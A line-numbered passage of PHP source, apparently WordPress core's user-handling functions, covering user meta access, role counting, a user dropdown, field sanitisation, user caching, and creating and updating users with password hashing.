1102 * Add meta data field to a user.
1103 *
1104 * Post meta data is called "Custom Fields" on the Administration Screens.
1105 *
1106 * @since 3.0.0
1107 * @uses add_metadata()
1108 * @link http://codex.wordpress.org/Function_Reference/add_user_meta
1109 *
1110 * @param int $user_id User ID.
1111 * @param string $meta_key Metadata name.
1112 * @param mixed $meta_value Metadata value.
1113 * @param bool $unique Optional, default is false. Whether the same key should not be added.
1114 * @return int|bool Meta ID on success, false on failure.
1115 */
1116function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
1117 return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
1118}
1119
1120/**
1121 * Remove metadata matching criteria from a user.
1122 *
1123 * You can match based on the key, or key and value. Removing based on key and
1124 * value, will keep from removing duplicate metadata with the same key. It also
1125 * allows removing all metadata matching key, if needed.
1126 *
1127 * @since 3.0.0
1128 * @uses delete_metadata()
1129 * @link http://codex.wordpress.org/Function_Reference/delete_user_meta
1130 *
1131 * @param int $user_id user ID
1132 * @param string $meta_key Metadata name.
1133 * @param mixed $meta_value Optional. Metadata value.
1134 * @return bool True on success, false on failure.
1135 */
1136function delete_user_meta($user_id, $meta_key, $meta_value = '') {
1137 return delete_metadata('user', $user_id, $meta_key, $meta_value);
1138}
1139
1140/**
1141 * Retrieve user meta field for a user.
1142 *
1143 * @since 3.0.0
1144 * @uses get_metadata()
1145 * @link http://codex.wordpress.org/Function_Reference/get_user_meta
1146 *
1147 * @param int $user_id User ID.
1148 * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
1149 * @param bool $single Whether to return a single value.
1150 * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
1151 * is true.
1152 */
1153function get_user_meta($user_id, $key = '', $single = false) {
1154 return get_metadata('user', $user_id, $key, $single);
1155}
1156
1157/**
1158 * Update user meta field based on user ID.
1159 *
1160 * Use the $prev_value parameter to differentiate between meta fields with the
1161 * same key and user ID.
1162 *
1163 * If the meta field for the user does not exist, it will be added.
1164 *
1165 * @since 3.0.0
1166 * @uses update_metadata
1167 * @link http://codex.wordpress.org/Function_Reference/update_user_meta
1168 *
1169 * @param int $user_id User ID.
1170 * @param string $meta_key Metadata key.
1171 * @param mixed $meta_value Metadata value.
1172 * @param mixed $prev_value Optional. Previous value to check before removing.
1173 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
1174 */
1175function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
1176 return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
1177}
1178
1179/**
1180 * Count number of users who have each of the user roles.
1181 *
1182 * Assumes there are neither duplicated nor orphaned capabilities meta_values.
1183 * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
1184 * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
1185 * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
1186 *
1187 * @since 3.0.0
1188 * @param string $strategy 'time' or 'memory'
1189 * @return array Includes a grand total and an array of counts indexed by role strings.
1190 */
1191function count_users($strategy = 'time') {
1192 global $wpdb, $wp_roles;
1193
1194 // Initialize
1195 $id = get_current_blog_id();
1196 $blog_prefix = $wpdb->get_blog_prefix($id);
1197 $result = array();
1198
1199 if ( 'time' == $strategy ) {
1200 global $wp_roles;
1201
1202 if ( ! isset( $wp_roles ) )
1203 $wp_roles = new WP_Roles();
1204
1205 $avail_roles = $wp_roles->get_names();
1206
1207 // Build a CPU-intensive query that will return concise information.
1208 $select_count = array();
1209 foreach ( $avail_roles as $this_role => $name ) {
1210 $select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
1211 }
1212 $select_count = implode(', ', $select_count);
1213
1214 // Add the meta_value index to the selection list, then run the query.
1215 $row = $wpdb->get_row( "SELECT $select_count, COUNT(*) FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'", ARRAY_N );
1216
1217 // Run the previous loop again to associate results with role names.
1218 $col = 0;
1219 $role_counts = array();
1220 foreach ( $avail_roles as $this_role => $name ) {
1221 $count = (int) $row[$col++];
1222 if ($count > 0) {
1223 $role_counts[$this_role] = $count;
1224 }
1225 }
1226
1227 // Get the meta_value index from the end of the result set.
1228 $total_users = (int) $row[$col];
1229
1230 $result['total_users'] = $total_users;
1231 $result['avail_roles'] =& $role_counts;
1232 } else {
1233 $avail_roles = array();
1234
1235 $users_of_blog = $wpdb->get_col( "SELECT meta_value FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'" );
1236
1237 foreach ( $users_of_blog as $caps_meta ) {
1238 $b_roles = maybe_unserialize($caps_meta);
1239 if ( ! is_array( $b_roles ) )
1240 continue;
1241 foreach ( $b_roles as $b_role => $val ) {
1242 if ( isset($avail_roles[$b_role]) ) {
1243 $avail_roles[$b_role]++;
1244 } else {
1245 $avail_roles[$b_role] = 1;
1246 }
1247 }
1248 }
1249
1250 $result['total_users'] = count( $users_of_blog );
1251 $result['avail_roles'] =& $avail_roles;
1252 }
1253
1254 return $result;
1255}
1256
1257//
1258// Private helper functions
1259//
1260
1261/**
1262 * Set up global user vars.
1263 *
1264 * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
1265 *
1266 * @since 2.0.4
1267 * @global string $userdata User description.
1268 * @global string $user_login The user username for logging in
1269 * @global int $user_level The level of the user
1270 * @global int $user_ID The ID of the user
1271 * @global string $user_email The email address of the user
1272 * @global string $user_url The url in the user's profile
1273 * @global string $user_identity The display name of the user
1274 *
1275 * @param int $for_user_id Optional. User ID to set up global data.
1276 */
1277function setup_userdata($for_user_id = '') {
1278 global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
1279
1280 if ( '' == $for_user_id )
1281 $for_user_id = get_current_user_id();
1282 $user = get_userdata( $for_user_id );
1283
1284 if ( ! $user ) {
1285 $user_ID = 0;
1286 $user_level = 0;
1287 $userdata = null;
1288 $user_login = $user_email = $user_url = $user_identity = '';
1289 return;
1290 }
1291
1292 $user_ID = (int) $user->ID;
1293 $user_level = (int) $user->user_level;
1294 $userdata = $user;
1295 $user_login = $user->user_login;
1296 $user_email = $user->user_email;
1297 $user_url = $user->user_url;
1298 $user_identity = $user->display_name;
1299}
1300
1301/**
1302 * Create dropdown HTML content of users.
1303 *
1304 * The content can either be displayed, which it is by default or retrieved by
1305 * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
1306 * need to be used; all users will be displayed in that case. Only one can be
1307 * used, either 'include' or 'exclude', but not both.
1308 *
1309 * The available arguments are as follows:
1310 *
1311 * @since 2.3.0
1312 *
1313 * @global wpdb $wpdb WordPress database object for queries.
1314 *
1315 * @param array|string $args {
1316 * Optional. Array or string of arguments to generate a drop-down of users.
1317 * {@see WP_User_Query::prepare_query() for additional available arguments.
1318 *
1319 * @type string $show_option_all Text to show as the drop-down default (all).
1320 * Default empty.
1321 * @type string $show_option_none Text to show as the drop-down default when no
1322 * users were found. Default empty.
1323 * @type int|string $option_none_value Value to use for $show_option_non when no users
1324 * were found. Default -1.
1325 * @type string $hide_if_only_one_author Whether to skip generating the drop-down
1326 * if only one user was found. Default empty.
1327 * @type string $orderby Field to order found users by. Accepts user fields.
1328 * Default 'display_name'.
1329 * @type string $order Whether to order users in ascending or descending
1330 * order. Accepts 'ASC' (ascending) or 'DESC' (descending).
1331 * Default 'ASC'.
1332 * @type array|string $include Array or comma-separated list of user IDs to include.
1333 * Default empty.
1334 * @type array|string $exclude Array or comma-separated list of user IDs to exclude.
1335 * Default empty.
1336 * @type bool|int $multi Whether to skip the ID attribute on the 'select' element.
1337 * Accepts 1|true or 0|false. Default 0|false.
1338 * @type string $show User table column to display. If the selected item is empty
1339 * then the 'user_login' will be displayed in parentheses.
1340 * Accepts user fields. Default 'display_name'.
1341 * @type int|bool $echo Whether to echo or return the drop-down. Accepts 1|true (echo)
1342 * or 0|false (return). Default 1|true.
1343 * @type int $selected Which user ID should be selected. Default 0.
1344 * @type bool $include_selected Whether to always include the selected user ID in the drop-
1345 * down. Default false.
1346 * @type string $name Name attribute of select element. Default 'user'.
1347 * @type string $id ID attribute of the select element. Default is the value of $name.
1348 * @type string $class Class attribute of the select element. Default empty.
1349 * @type int $blog_id ID of blog (Multisite only). Default is ID of the current blog.
1350 * @type string $who Which type of users to query. Accepts only an empty string or
1351 * 'authors'. Default empty.
1352 * }
1353 * @return string|null Null on display. String of HTML content on retrieve.
1354 */
1355function wp_dropdown_users( $args = '' ) {
1356 $defaults = array(
1357 'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '',
1358 'orderby' => 'display_name', 'order' => 'ASC',
1359 'include' => '', 'exclude' => '', 'multi' => 0,
1360 'show' => 'display_name', 'echo' => 1,
1361 'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '',
1362 'blog_id' => $GLOBALS['blog_id'], 'who' => '', 'include_selected' => false,
1363 'option_none_value' => -1
1364 );
1365
1366 $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
1367
1368 $r = wp_parse_args( $args, $defaults );
1369 $show = $r['show'];
1370 $show_option_all = $r['show_option_all'];
1371 $show_option_none = $r['show_option_none'];
1372 $option_none_value = $r['option_none_value'];
1373
1374 $query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who' ) );
1375 $query_args['fields'] = array( 'ID', 'user_login', $show );
1376 $users = get_users( $query_args );
1377
1378 $output = '';
1379 if ( ! empty( $users ) && ( empty( $r['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
1380 $name = esc_attr( $r['name'] );
1381 if ( $r['multi'] && ! $r['id'] ) {
1382 $id = '';
1383 } else {
1384 $id = $r['id'] ? " id='" . esc_attr( $r['id'] ) . "'" : " id='$name'";
1385 }
1386 $output = "<select name='{$name}'{$id} class='" . $r['class'] . "'>\n";
1387
1388 if ( $show_option_all ) {
1389 $output .= "\t<option value='0'>$show_option_all</option>\n";
1390 }
1391
1392 if ( $show_option_none ) {
1393 $_selected = selected( $option_none_value, $r['selected'], false );
1394 $output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
1395 }
1396
1397 $found_selected = false;
1398 foreach ( (array) $users as $user ) {
1399 $user->ID = (int) $user->ID;
1400 $_selected = selected( $user->ID, $r['selected'], false );
1401 if ( $_selected ) {
1402 $found_selected = true;
1403 }
1404 $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
1405 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1406 }
1407
1408 if ( $r['include_selected'] && ! $found_selected && ( $r['selected'] > 0 ) ) {
1409 $user = get_userdata( $r['selected'] );
1410 $_selected = selected( $user->ID, $r['selected'], false );
1411 $display = ! empty( $user->$show ) ? $user->$show : '('. $user->user_login . ')';
1412 $output .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
1413 }
1414
1415 $output .= "</select>";
1416 }
1417
1418 /**
1419 * Filter the wp_dropdown_users() HTML output.
1420 *
1421 * @since 2.3.0
1422 *
1423 * @param string $output HTML output generated by wp_dropdown_users().
1424 */
1425 $html = apply_filters( 'wp_dropdown_users', $output );
1426
1427 if ( $r['echo'] ) {
1428 echo $html;
1429 }
1430 return $html;
1431}
1432
1433/**
1434 * Sanitize user field based on context.
1435 *
1436 * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
1437 * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
1438 * when calling filters.
1439 *
1440 * @since 2.3.0
1441 *
1442 * @param string $field The user Object field name.
1443 * @param mixed $value The user Object value.
1444 * @param int $user_id user ID.
1445 * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
1446 * 'attribute' and 'js'.
1447 * @return mixed Sanitized value.
1448 */
1449function sanitize_user_field($field, $value, $user_id, $context) {
1450 $int_fields = array('ID');
1451 if ( in_array($field, $int_fields) )
1452 $value = (int) $value;
1453
1454 if ( 'raw' == $context )
1455 return $value;
1456
1457 if ( !is_string($value) && !is_numeric($value) )
1458 return $value;
1459
1460 $prefixed = false !== strpos( $field, 'user_' );
1461
1462 if ( 'edit' == $context ) {
1463 if ( $prefixed ) {
1464
1465 /** This filter is documented in wp-includes/post.php */
1466 $value = apply_filters( "edit_{$field}", $value, $user_id );
1467 } else {
1468
1469 /**
1470 * Filter a user field value in the 'edit' context.
1471 *
1472 * The dynamic portion of the hook name, $field, refers to the prefixed user
1473 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1474 *
1475 * @since 2.9.0
1476 *
1477 * @param mixed $value Value of the prefixed user field.
1478 * @param int $user_id User ID.
1479 */
1480 $value = apply_filters( "edit_user_{$field}", $value, $user_id );
1481 }
1482
1483 if ( 'description' == $field )
1484 $value = esc_html( $value ); // textarea_escaped?
1485 else
1486 $value = esc_attr($value);
1487 } else if ( 'db' == $context ) {
1488 if ( $prefixed ) {
1489 /** This filter is documented in wp-includes/post.php */
1490 $value = apply_filters( "pre_{$field}", $value );
1491 } else {
1492
1493 /**
1494 * Filter the value of a user field in the 'db' context.
1495 *
1496 * The dynamic portion of the hook name, $field, refers to the prefixed user
1497 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1498 *
1499 * @since 2.9.0
1500 *
1501 * @param mixed $value Value of the prefixed user field.
1502 */
1503 $value = apply_filters( "pre_user_{$field}", $value );
1504 }
1505 } else {
1506 // Use display filters by default.
1507 if ( $prefixed ) {
1508
1509 /** This filter is documented in wp-includes/post.php */
1510 $value = apply_filters( $field, $value, $user_id, $context );
1511 } else {
1512
1513 /**
1514 * Filter the value of a user field in a standard context.
1515 *
1516 * The dynamic portion of the hook name, $field, refers to the prefixed user
1517 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
1518 *
1519 * @since 2.9.0
1520 *
1521 * @param mixed $value The user object value to sanitize.
1522 * @param int $user_id User ID.
1523 * @param string $context The context to filter within.
1524 */
1525 $value = apply_filters( "user_{$field}", $value, $user_id, $context );
1526 }
1527 }
1528
1529 if ( 'user_url' == $field )
1530 $value = esc_url($value);
1531
1532 if ( 'attribute' == $context )
1533 $value = esc_attr($value);
1534 else if ( 'js' == $context )
1535 $value = esc_js($value);
1536
1537 return $value;
1538}
1539
1540/**
1541 * Update all user caches
1542 *
1543 * @since 3.0.0
1544 *
1545 * @param object $user User object to be cached
1546 */
1547function update_user_caches($user) {
1548 wp_cache_add($user->ID, $user, 'users');
1549 wp_cache_add($user->user_login, $user->ID, 'userlogins');
1550 wp_cache_add($user->user_email, $user->ID, 'useremail');
1551 wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
1552}
1553
1554/**
1555 * Clean all user caches
1556 *
1557 * @since 3.0.0
1558 *
1559 * @param WP_User|int $user User object or ID to be cleaned from the cache
1560 */
1561function clean_user_cache( $user ) {
1562 if ( is_numeric( $user ) )
1563 $user = new WP_User( $user );
1564
1565 if ( ! $user->exists() )
1566 return;
1567
1568 wp_cache_delete( $user->ID, 'users' );
1569 wp_cache_delete( $user->user_login, 'userlogins' );
1570 wp_cache_delete( $user->user_email, 'useremail' );
1571 wp_cache_delete( $user->user_nicename, 'userslugs' );
1572}
1573
1574/**
1575 * Checks whether the given username exists.
1576 *
1577 * @since 2.0.0
1578 *
1579 * @param string $username Username.
1580 * @return null|int The user's ID on success, and null on failure.
1581 */
1582function username_exists( $username ) {
1583 if ( $user = get_user_by('login', $username ) ) {
1584 return $user->ID;
1585 } else {
1586 return null;
1587 }
1588}
1589
1590/**
1591 * Checks whether the given email exists.
1592 *
1593 * @since 2.1.0
1594 *
1595 * @param string $email Email.
1596 * @return bool|int The user's ID on success, and false on failure.
1597 */
1598function email_exists( $email ) {
1599 if ( $user = get_user_by('email', $email) )
1600 return $user->ID;
1601
1602 return false;
1603}
1604
1605/**
1606 * Checks whether an username is valid.
1607 *
1608 * @since 2.0.1
1609 * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters
1610 *
1611 * @param string $username Username.
1612 * @return bool Whether username given is valid
1613 */
1614function validate_username( $username ) {
1615 $sanitized = sanitize_user( $username, true );
1616 $valid = ( $sanitized == $username );
1617 /**
1618 * Filter whether the provided username is valid or not.
1619 *
1620 * @since 2.0.1
1621 *
1622 * @param bool $valid Whether given username is valid.
1623 * @param string $username Username to check.
1624 */
1625 return apply_filters( 'validate_username', $valid, $username );
1626}
1627
1628/**
1629 * Insert an user into the database.
1630 *
1631 * Most of the $userdata array fields have filters associated with the values.
1632 * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim',
1633 * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed
1634 * by the field name. An example using 'description' would have the filter
1635 * called, 'pre_user_description' that can be hooked into.
1636 *
1637 * @since 2.0.0
1638 *
1639 * @global wpdb $wpdb WordPress database object for queries.
1640 *
1641 * @param array $userdata {
1642 * An array, object, or WP_User object of user data arguments.
1643 *
1644 * @type int $ID User ID. If supplied, the user will be updated.
1645 * @type string $user_pass The plain-text user password.
1646 * @type string $user_login The user's login username.
1647 * @type string $user_nicename The URL-friendly user name.
1648 * @type string $user_url The user URL.
1649 * @type string $user_email The user email address.
1650 * @type string $display_name The user's display name.
1651 * Default is the the user's username.
1652 * @type string $nickname The user's nickname. Default
1653 * Default is the the user's username.
1654 * @type string $first_name The user's first name. For new users, will be used
1655 * to build $display_name if unspecified.
1656 * @type stirng $last_name The user's last name. For new users, will be used
1657 * to build $display_name if unspecified.
1658 * @type string|bool $rich_editing Whether to enable the rich-editor for the user. False
1659 * if not empty.
1660 * @type string $date_registered Date the user registered. Format is 'Y-m-d H:i:s'.
1661 * @type string $role User's role.
1662 * @type string $jabber User's Jabber account username.
1663 * @type string $aim User's AIM account username.
1664 * @type string $yim User's Yahoo! messenger username.
1665 * }
1666 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
1667 * be created.
1668 */
1669function wp_insert_user( $userdata ) {
1670 global $wpdb;
1671
1672 if ( is_a( $userdata, 'stdClass' ) ) {
1673 $userdata = get_object_vars( $userdata );
1674 } elseif ( is_a( $userdata, 'WP_User' ) ) {
1675 $userdata = $userdata->to_array();
1676 }
1677 // Are we updating or creating?
1678 if ( ! empty( $userdata['ID'] ) ) {
1679 $ID = (int) $userdata['ID'];
1680 $update = true;
1681 $old_user_data = WP_User::get_data_by( 'id', $ID );
1682 // hashed in wp_update_user(), plaintext if called directly
1683 $user_pass = $userdata['user_pass'];
1684 } else {
1685 $update = false;
1686 // Hash the password
1687 $user_pass = wp_hash_password( $userdata['user_pass'] );
1688 }
1689
1690 $sanitized_user_login = sanitize_user( $userdata['user_login'], true );
1691
1692 /**
1693 * Filter a username after it has been sanitized.
1694 *
1695 * This filter is called before the user is created or updated.
1696 *
1697 * @since 2.0.3
1698 *
1699 * @param string $sanitized_user_login Username after it has been sanitized.
1700 */
1701 $pre_user_login = apply_filters( 'pre_user_login', $sanitized_user_login );
1702
1703 //Remove any non-printable chars from the login string to see if we have ended up with an empty username
1704 $user_login = trim( $pre_user_login );
1705
1706 if ( empty( $user_login ) ) {
1707 return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );
1708 }
1709 if ( ! $update && username_exists( $user_login ) ) {
1710 return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) );
1711 }
1712 if ( empty( $userdata['user_nicename'] ) ) {
1713 $user_nicename = sanitize_title( $user_login );
1714 } else {
1715 $user_nicename = $userdata['user_nicename'];
1716 }
1717
1718 // Store values to save in user meta.
1719 $meta = array();
1720
1721 /**
1722 * Filter a user's nicename before the user is created or updated.
1723 *
1724 * @since 2.0.3
1725 *
1726 * @param string $user_nicename The user's nicename.
1727 */
1728 $user_nicename = apply_filters( 'pre_user_nicename', $user_nicename );
1729
1730 $raw_user_url = empty( $userdata['user_url'] ) ? '' : $userdata['user_url'];
1731
1732 /**
1733 * Filter a user's URL before the user is created or updated.
1734 *
1735 * @since 2.0.3
1736 *
1737 * @param string $raw_user_url The user's URL.
1738 */
1739 $user_url = apply_filters( 'pre_user_url', $raw_user_url );
1740
1741 $raw_user_email = empty( $userdata['user_email'] ) ? '' : $userdata['user_email'];
1742
1743 /**
1744 * Filter a user's email before the user is created or updated.
1745 *
1746 * @since 2.0.3
1747 *
1748 * @param string $raw_user_email The user's email.
1749 */
1750 $user_email = apply_filters( 'pre_user_email', $raw_user_email );
1751
1752 if ( ! $update && ! defined( 'WP_IMPORTING' ) && email_exists( $user_email ) ) {
1753 return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) );
1754 }
1755 $nickname = empty( $userdata['nickname'] ) ? $user_login : $userdata['nickname'];
1756
1757 /**
1758 * Filter a user's nickname before the user is created or updated.
1759 *
1760 * @since 2.0.3
1761 *
1762 * @param string $nickname The user's nickname.
1763 */
1764 $meta['nickname'] = apply_filters( 'pre_user_nickname', $nickname );
1765
1766 $first_name = empty( $userdata['first_name'] ) ? '' : $userdata['first_name'];
1767
1768 /**
1769 * Filter a user's first name before the user is created or updated.
1770 *
1771 * @since 2.0.3
1772 *
1773 * @param string $first_name The user's first name.
1774 */
1775 $meta['first_name'] = apply_filters( 'pre_user_first_name', $first_name );
1776
1777 $last_name = empty( $userdata['last_name'] ) ? '' : $userdata['last_name'];
1778
1779 /**
1780 * Filter a user's last name before the user is created or updated.
1781 *
1782 * @since 2.0.3
1783 *
1784 * @param string $last_name The user's last name.
1785 */
1786 $meta['last_name'] = apply_filters( 'pre_user_last_name', $last_name );
1787
1788 if ( empty( $userdata['display_name'] ) ) {
1789 if ( $update ) {
1790 $display_name = $user_login;
1791 } elseif ( $meta['first_name'] && $meta['last_name'] ) {
1792 /* translators: 1: first name, 2: last name */
1793 $display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $meta['first_name'], $meta['last_name'] );
1794 } elseif ( $meta['first_name'] ) {
1795 $display_name = $meta['first_name'];
1796 } elseif ( $meta['last_name'] ) {
1797 $display_name = $meta['last_name'];
1798 } else {
1799 $display_name = $user_login;
1800 }
1801 } else {
1802 $display_name = $userdata['display_name'];
1803 }
1804
1805 /**
1806 * Filter a user's display name before the user is created or updated.
1807 *
1808 * @since 2.0.3
1809 *
1810 * @param string $display_name The user's display name.
1811 */
1812 $display_name = apply_filters( 'pre_user_display_name', $display_name );
1813
1814 $description = empty( $userdata['description'] ) ? '' : $userdata['description'];
1815
1816 /**
1817 * Filter a user's description before the user is created or updated.
1818 *
1819 * @since 2.0.3
1820 *
1821 * @param string $description The user's description.
1822 */
1823 $meta['description'] = apply_filters( 'pre_user_description', $description );
1824
1825 $meta['rich_editing'] = empty( $userdata['rich_editing'] ) ? 'true' : $userdata['rich_editing'];
1826
1827 $meta['comment_shortcuts'] = empty( $userdata['comment_shortcuts'] ) ? 'false' : $userdata['comment_shortcuts'];
1828
1829 $admin_color = empty( $userdata['admin_color'] ) ? 'fresh' : $userdata['admin_color'];
1830 $meta['admin_color'] = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $admin_color );
1831
1832 $meta['use_ssl'] = empty( $userdata['use_ssl'] ) ? 0 : $userdata['use_ssl'];
1833
1834 $user_registered = empty( $userdata['user_registered'] ) ? gmdate( 'Y-m-d H:i:s' ) : $userdata['user_registered'];
1835
1836 $meta['show_admin_bar_front'] = empty( $userdata['show_admin_bar_front'] ) ? 'true' : $userdata['show_admin_bar_front'];
1837
1838 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login));
1839
1840 if ( $user_nicename_check ) {
1841 $suffix = 2;
1842 while ($user_nicename_check) {
1843 $alt_user_nicename = $user_nicename . "-$suffix";
1844 $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login));
1845 $suffix++;
1846 }
1847 $user_nicename = $alt_user_nicename;
1848 }
1849
1850 $compacted = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' );
1851 $data = wp_unslash( $compacted );
1852
1853 if ( $update ) {
1854 if ( $user_email !== $old_user_data->user_email ) {
1855 $data['user_activation_key'] = '';
1856 }
1857 $wpdb->update( $wpdb->users, $data, compact( 'ID' ) );
1858 $user_id = (int) $ID;
1859 } else {
1860 $wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) );
1861 $user_id = (int) $wpdb->insert_id;
1862 }
1863
1864 $user = new WP_User( $user_id );
1865
1866 // Update user meta.
1867 foreach ( $meta as $key => $value ) {
1868 update_user_meta( $user_id, $key, $value );
1869 }
1870
1871 foreach ( wp_get_user_contact_methods( $user ) as $key => $value ) {
1872 if ( isset( $userdata[ $key ] ) ) {
1873 update_user_meta( $user_id, $key, $userdata[ $key ] );
1874 }
1875 }
1876
1877 if ( isset( $userdata['role'] ) ) {
1878 $user->set_role( $userdata['role'] );
1879 } elseif ( ! $update ) {
1880 $user->set_role(get_option('default_role'));
1881 }
1882 wp_cache_delete( $user_id, 'users' );
1883 wp_cache_delete( $user_login, 'userlogins' );
1884
1885 if ( $update ) {
1886 /**
1887 * Fires immediately after an existing user is updated.
1888 *
1889 * @since 2.0.0
1890 *
1891 * @param int $user_id User ID.
1892 * @param object $old_user_data Object containing user's data prior to update.
1893 */
1894 do_action( 'profile_update', $user_id, $old_user_data );
1895 } else {
1896 /**
1897 * Fires immediately after a new user is registered.
1898 *
1899 * @since 1.5.0
1900 *
1901 * @param int $user_id User ID.
1902 */
1903 do_action( 'user_register', $user_id );
1904 }
1905
1906 return $user_id;
1907}
1908
1909/**
1910 * Update an user in the database.
1911 *
1912 * It is possible to update a user's password by specifying the 'user_pass'
1913 * value in the $userdata parameter array.
1914 *
1915 * If current user's password is being updated, then the cookies will be
1916 * cleared.
1917 *
1918 * @since 2.0.0
1919 *
1920 * @see wp_insert_user() For what fields can be set in $userdata.
1921 *
1922 * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User.
1923 * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated.
1924 */
1925function wp_update_user($userdata) {
1926 if ( is_a( $userdata, 'stdClass' ) )
1927 $userdata = get_object_vars( $userdata );
1928 elseif ( is_a( $userdata, 'WP_User' ) )
1929 $userdata = $userdata->to_array();
1930
1931 $ID = (int) $userdata['ID'];
1932
1933 // First, get all of the original fields
1934 $user_obj = get_userdata( $ID );
1935 if ( ! $user_obj )
1936 return new WP_Error( 'invalid_user_id', __( 'Invalid user ID.' ) );
1937
1938 $user = $user_obj->to_array();
1939
1940 // Add additional custom fields
1941 foreach ( _get_additional_user_keys( $user_obj ) as $key ) {
1942 $user[ $key ] = get_user_meta( $ID, $key, true );
1943 }
1944
1945 // Escape data pulled from DB.
1946 $user = add_magic_quotes( $user );
1947
1948 // If password is changing, hash it now.
1949 if ( ! empty($userdata['user_pass']) ) {
1950 $plaintext_pass = $userdata['user_pass'];
1951 $userdata['user_pass'] = wp_hash_password($userdata['user_pass']);
1952 }
1953
1954 wp_cache_delete($user[ 'user_email' ], 'useremail');
1955
1956 // Merge old and new fields with new fields overwriting old ones.
1957 $userdata = array_merge($user, $userdata);
1958 $user_id = wp_insert_user($userdata);
1959
1960 // Update the cookies if the password changed.
1961 $current_user = wp_get_current_user();
1962 if ( $current_user->ID == $ID ) {
1963 if ( isset($plaintext_pass) ) {
1964 wp_clear_auth_cookie();
1965
1966 // Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
1967 // If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
1968 $logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
1969 /** This filter is documented in wp-includes/pluggable.php */
1970 $default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
1971 $remember = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
1972
1973 wp_set_auth_cookie( $ID, $remember );
1974 }
1975 }
1976
1977 return $user_id;
1978}
1979
1980/**
1981 * A simpler way of inserting an user into the database.
1982 *
1983 * Creates a new user with just the username, password, and email. For more
1984 * complex user creation use wp_insert_user() to specify more information.
1985 *
1986 * @since 2.0.0
1987 * @see wp_insert_user() More complete way to create a new user
1988 *
1989 * @param string $username The user's username.
1990 * @param string $password The user's password.
1991 * @param string $email The user's email (optional).
1992 * @return int The new user's ID.
1993 */
1994function wp_create_user($username, $password, $email = '') {
1995 $user_login = wp_slash( $username );
1996 $user_email = wp_slash( $email );
1997 $user_pass = $password;
1998
1999 $userdata = compact('user_login', 'user_email', 'user_pass');
2000 return wp_insert_user($userdata);
2001}
2002
2003/**
2004 * Return a list of meta keys that wp_insert_user() is supposed to set.
2005 *
2006 * @since 3.3.0
2007 * @access private
2008 *
2009 * @param object $user WP_User instance.
2010 * @return array
2011 */
2012function _get_additional_user_keys( $user ) {
2013 $keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front' );
2014 return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
2015}
2016
2017/**
2018 * Set up the user contact methods.
2019 *
2020 * Default contact methods were removed in 3.6. A filter dictates contact methods.
2021 *
2022 * @since 3.7.0
2023 *
2024 * @param WP_User $user Optional. WP_User object.
2025 * @return array Array of contact methods and their labels.
2026 */
2027function wp_get_user_contact_methods( $user = null ) {
2028 $methods = array();
2029 if ( get_site_option( 'initial_db_version' ) < 23588 ) {
2030 $methods = array(
2031 'aim' => __( 'AIM' ),
2032 'yim' => __( 'Yahoo IM' ),
